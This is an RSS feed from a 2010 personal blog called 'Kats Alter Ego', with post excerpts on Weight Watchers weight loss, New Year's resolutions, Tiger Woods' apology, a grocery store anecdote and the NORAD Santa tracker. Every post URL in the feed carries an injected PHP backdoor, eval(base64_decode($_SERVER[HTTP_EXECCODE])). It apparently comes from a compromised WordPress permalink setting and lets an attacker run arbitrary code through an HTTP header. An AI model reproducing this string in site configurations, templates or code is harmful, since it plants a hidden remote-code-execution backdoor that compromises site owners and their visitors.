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	<title>Kats Alter Ego</title>
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	<link>http://katsalterego.com</link>
	<description>Kats skewed outlook on life, love and the pursuit of happiness</description>
	<pubDate>Mon, 19 Apr 2010 20:52:19 +0000</pubDate>
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		<ttl>1440</ttl>
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		<itunes:summary>Kats skewed outlook on life, love and the pursuit of happiness</itunes:summary>
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		<itunes:category text="Society &amp; Culture"/>
		<itunes:owner>
			<itunes:name></itunes:name>
			<itunes:email>kat@katsalterego.com</itunes:email>
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			<title>Kats Alter Ego</title>
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		<item>
		<title>Success comes in five pound increments!</title>
		<link>http://katsalterego.com/2010/04/19/success-comes-in-five-pound-increments/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/04/19/success-comes-in-five-pound-increments/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 19 Apr 2010 20:52:19 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Food For Thought]]></category>

		<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=176</guid>
		<description><![CDATA[Success comes in five pound increments!
Having decided to lose this fluffy exterior that made me feel like the Pillsbury dough girl, I decided the best way to go for me is to turn weight loss into a game.  After joining a big loser club better known as Weight Watchers, yes I am proud to [...]]]></description>
			<content:encoded><![CDATA[<p>Success comes in five pound increments!</p>
<p>Having decided to lose this fluffy exterior that made me feel like the Pillsbury dough girl, I decided the best way to go for me is to turn weight loss into a game.  After joining a big loser club better known as Weight Watchers, yes I am proud to be a Loser!, I set about a way to consider myself successful.  The only way this is going to work for me, seeing as I have a short attention span and am easily overwhelmed, is to shed five pounds at a time &#8230; [<a href="http://katsalterego.com/2010/04/19/success-comes-in-five-pound-increments/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/&#8221;>visit site to read more</a>]</p>
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		</item>
		<item>
		<title>Tales of a Fluffy Girl Going Thin</title>
		<link>http://katsalterego.com/2010/03/31/tales-of-a-fluffy-girl-going-thin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/03/31/tales-of-a-fluffy-girl-going-thin/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 31 Mar 2010 20:27:26 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Food For Thought]]></category>

		<category><![CDATA[Life]]></category>

		<category><![CDATA[Pursuit of Happiness]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=173</guid>
		<description><![CDATA[The longer I’m doing Weight Watchers the more I’m realizing that it’s not as complicated as some might think.  As a foodie, I can appreciate the fact that they aren’t telling me what I can and can not eat, I’m doing that on my own. Expense wise, if you consider the fact that most [...]]]></description>
			<content:encoded><![CDATA[<p>The longer I’m doing Weight Watchers the more I’m realizing that it’s not as complicated as some might think.  As a foodie, I can appreciate the fact that they aren’t telling me what I can and can not eat, I’m doing that on my own. Expense wise, if you consider the fact that most of the other “diet” plans out there require you to buy their food PLUS veggies and other items they don’t supply, you actually save money with Weight Watchers, while learning how to eat for life.  &#8230; [<a href="http://katsalterego.com/2010/03/31/tales-of-a-fluffy-girl-going-thin/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/&#8221;>visit site to read more</a>]</p>
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		</item>
		<item>
		<title>Kat is Getting Her Beach Body Back!</title>
		<link>http://katsalterego.com/2010/03/29/kats-getting-her-beach-body-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/03/29/kats-getting-her-beach-body-back/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 29 Mar 2010 16:30:08 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Food For Thought]]></category>

		<category><![CDATA[Life]]></category>

		<category><![CDATA[Pursuit of Happiness]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=163</guid>
		<description><![CDATA[
In preparation for Summer 2010, better known as bikini top and board shorts weather, I’ve been slowly dropping some much unwanted poundage. While being “fluffy” does have its advantages, such as one will float vs. sink, it has a decidedly huge down side as well.
 
As you &#8230; [visit site to read more]
]]></description>
			<content:encoded><![CDATA[<p><!--[endif]--></p>
<p class="MsoNormal"><span style="font-family: Tahoma;">In preparation for Summer 2010, better known as bikini top and board shorts weather, I’ve been slowly dropping some much unwanted poundage.<span> </span>While being “fluffy” does have its advantages, such as one will float vs. sink, it has a decidedly huge down side as well.</span></p>
<p class="MsoNormal"><span style="font-family: Tahoma;"> </span></p>
<p class="MsoNormal"><span style="font-family: Tahoma;">As you &#8230; [<a href="http://katsalterego.com/2010/03/29/kats-getting-her-beach-body-back/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/&#8221;>visit site to read more</a>]</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Tiger Woods Public Apology</title>
		<link>http://katsalterego.com/2010/02/19/tiger-woods-public-apology/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/02/19/tiger-woods-public-apology/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 19 Feb 2010 18:10:39 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Love]]></category>

		<category><![CDATA[Rants]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=159</guid>
		<description><![CDATA[
This morning, as I was getting dressed for work, I had on Fox11 news. Instead of seeing the usual traffic jams and hearing the news of the morning, I was forced to watch a very public apology of a man to his wife, family, friends, the general public and sponsors, for his marital infidelities.
 
]]></description>
			<content:encoded><![CDATA[<p><!--[endif]--></p>
<p class="MsoNormal"><span style="font-family: Tahoma;">This morning, as I was getting dressed for work, I had on Fox11 news.<span> </span>Instead of seeing the usual traffic jams and hearing the news of the morning, I was forced to watch a very public apology of a man to his wife, family, friends, the general public and sponsors, for his marital infidelities.</span></p>
<p class="MsoNormal"><span style="font-family: Tahoma;"> </span></p>
<p class="MsoNormal"><span ... [<a href="http://katsalterego.com/2010/02/19/tiger-woods-public-apology/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/">visit site to read more</a>]</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Control issue&#8230;</title>
		<link>http://katsalterego.com/2010/02/08/control-issue/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/02/08/control-issue/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 19:59:43 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Food For Thought]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=156</guid>
		<description><![CDATA[
Sometimes, I get so wrapped up in what I am doing that I don’t stop to ask for help for a plethora of reasons… such as I don’t want to sit there and explain something that would take me longer to explain than do myself, the idea that I might have is taken over by [...]]]></description>
			<content:encoded><![CDATA[<p><!--[endif]--></p>
<p class="MsoNormal"><span style="font-family: Arial;">Sometimes, I get so wrapped up in what I am doing that I don’t stop to ask for help for a plethora of reasons… such as I don’t want to sit there and explain something that would take me longer to explain than do myself, the idea that I might have is taken over by someone else and after they add their spin on it it’s not longer the idea I had in the first place…</span></p>
<p class="MsoNormal"><span ... [<a href="http://katsalterego.com/2010/02/08/control-issue/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/">visit site to read more</a>]</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Opening Oneself to Living Life!</title>
		<link>http://katsalterego.com/2010/01/14/opening-ones-self-to-living-life/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/01/14/opening-ones-self-to-living-life/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 04:12:52 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Food For Thought]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=152</guid>
		<description><![CDATA[
I’ve decided this is the year that I’m going to open myself up to new things, new relationships, new experiences and new people, being willing to explore and accept myself I’m open to accept others into my life. 
 
Now that 2010 is in full swing, it’s time to grab the &#8230; [visit site to [...]]]></description>
			<content:encoded><![CDATA[<p><!--[endif]--></p>
<p class="MsoNormal"><span style="font-family: Tahoma;">I’ve decided this is the year that I’m going to open myself up to new things, new relationships, new experiences and new people, being willing to explore and accept myself I’m open to accept others into my life.<span> </span></span></p>
<p class="MsoNormal"><span style="font-family: Tahoma;"> </span></p>
<p class="MsoNormal"><span style="font-family: Tahoma;">Now that 2010 is in full swing, it’s time to grab the &#8230; [<a href="http://katsalterego.com/2010/01/14/opening-ones-self-to-living-life/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/&#8221;>visit site to read more</a>]</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Customer Service at it&#8217;s Finest!</title>
		<link>http://katsalterego.com/2010/01/08/customer-service-at-its-finest/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/01/08/customer-service-at-its-finest/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 08 Jan 2010 19:29:35 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=147</guid>
		<description><![CDATA[
Just recently, I had headed down to my local grocery store to buy feminine hygiene products, as I was out and the “auntie” came to visit. I moseyed over to the correct isle and while I was checking out the various products available to us women, I noticed a gaggle of sales clerks. So, the [...]]]></description>
			<content:encoded><![CDATA[<p><!--[endif]--></p>
<p class="MsoNormal"><span style="font-family: Tahoma;">Just recently, I had headed down to my local grocery store to buy feminine hygiene products, as I was out and the “auntie” came to visit.<span> </span>I moseyed over to the correct isle and while I was checking out the various products available to us women, I noticed a gaggle of sales clerks.<span> </span>So, the assistant manager, so his tag said…asked “Can I help you find anything?” I responded with a polite &#8230; [<a href="http://katsalterego.com/2010/01/08/customer-service-at-its-finest/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/&#8221;>visit site to read more</a>]</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Keeping up the Resolutions!</title>
		<link>http://katsalterego.com/2010/01/06/keeping-up-the-resolutions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/01/06/keeping-up-the-resolutions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 22:05:20 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Life]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=144</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> </w:Compatibility> &#8230; [<a href="http://katsalterego.com/2010/01/06/keeping-up-the-resolutions/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/&#8221;>visit site to read more</a>]</p>
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		</item>
		<item>
		<title>Kats New Years Resolutions</title>
		<link>http://katsalterego.com/2010/01/05/kats-new-years-resolutions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2010/01/05/kats-new-years-resolutions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 21:28:55 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Food For Thought]]></category>

		<category><![CDATA[Life]]></category>

		<category><![CDATA[Pursuit of Happiness]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=141</guid>
		<description><![CDATA[
It’s that time of year where we, take a couple of moments to toss about ideas for resolutions. So… here I go.
 
I resolve to do the following:
 

]]></description>
			<content:encoded><![CDATA[<p><!--[endif]--></p>
<p class="MsoNormal"><span style="font-family: Tahoma;">It’s that time of year where we, take a couple of moments to toss about ideas for resolutions.<span> </span>So… here I go.</span></p>
<p class="MsoNormal"><span style="font-family: Tahoma;"> </span></p>
<p class="MsoNormal"><span style="font-family: Tahoma;">I resolve to do the following:</span></p>
<p class="MsoNormal"><span style="font-family: Tahoma;"> </span></p>
<ol style="margin-top: 0in;" type="1">
<li ... [<a href="http://katsalterego.com/2010/01/05/kats-new-years-resolutions/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/">visit site to read more</a>]</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Norad Tracks Santa!</title>
		<link>http://katsalterego.com/2009/12/24/norad-tracks-santa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://katsalterego.com/2009/12/24/norad-tracks-santa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 24 Dec 2009 16:10:12 +0000</pubDate>
		<dc:creator>Kat</dc:creator>
		
		<category><![CDATA[Entertainment]]></category>

		<category><![CDATA[Funnies]]></category>

		<guid isPermaLink="false">http://katsalterego.com/?p=138</guid>
		<description><![CDATA[Norad Santa Tracker
Its that time of year again&#8230; Norad has been using the Santa Tracker system to follow his progress across the globe.   Now you too can follow his journey across the globe as he drops off presents for good boys &#8230; [visit site to read more]
]]></description>
			<content:encoded><![CDATA[<div class="wp-caption aligncenter" style="width: 810px"><a href="http://www.noradsanta.org/en/index.html"><img title="Norad Santa Tracker" src="http://www.katsalterego.com/images/norad2009.jpg" alt="Norad Santa Tracker" width="800" height="104" /></a><p class="wp-caption-text">Norad Santa Tracker</p></div>
<p>Its that time of year again&#8230; Norad has been using the Santa Tracker system to follow his progress across the globe.   Now you too can follow his journey across the globe as he drops off presents for good boys &#8230; [<a href="http://katsalterego.com/2009/12/24/norad-tracks-santa/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/&#8221;>visit site to read more</a>]</p>
]]></content:encoded>
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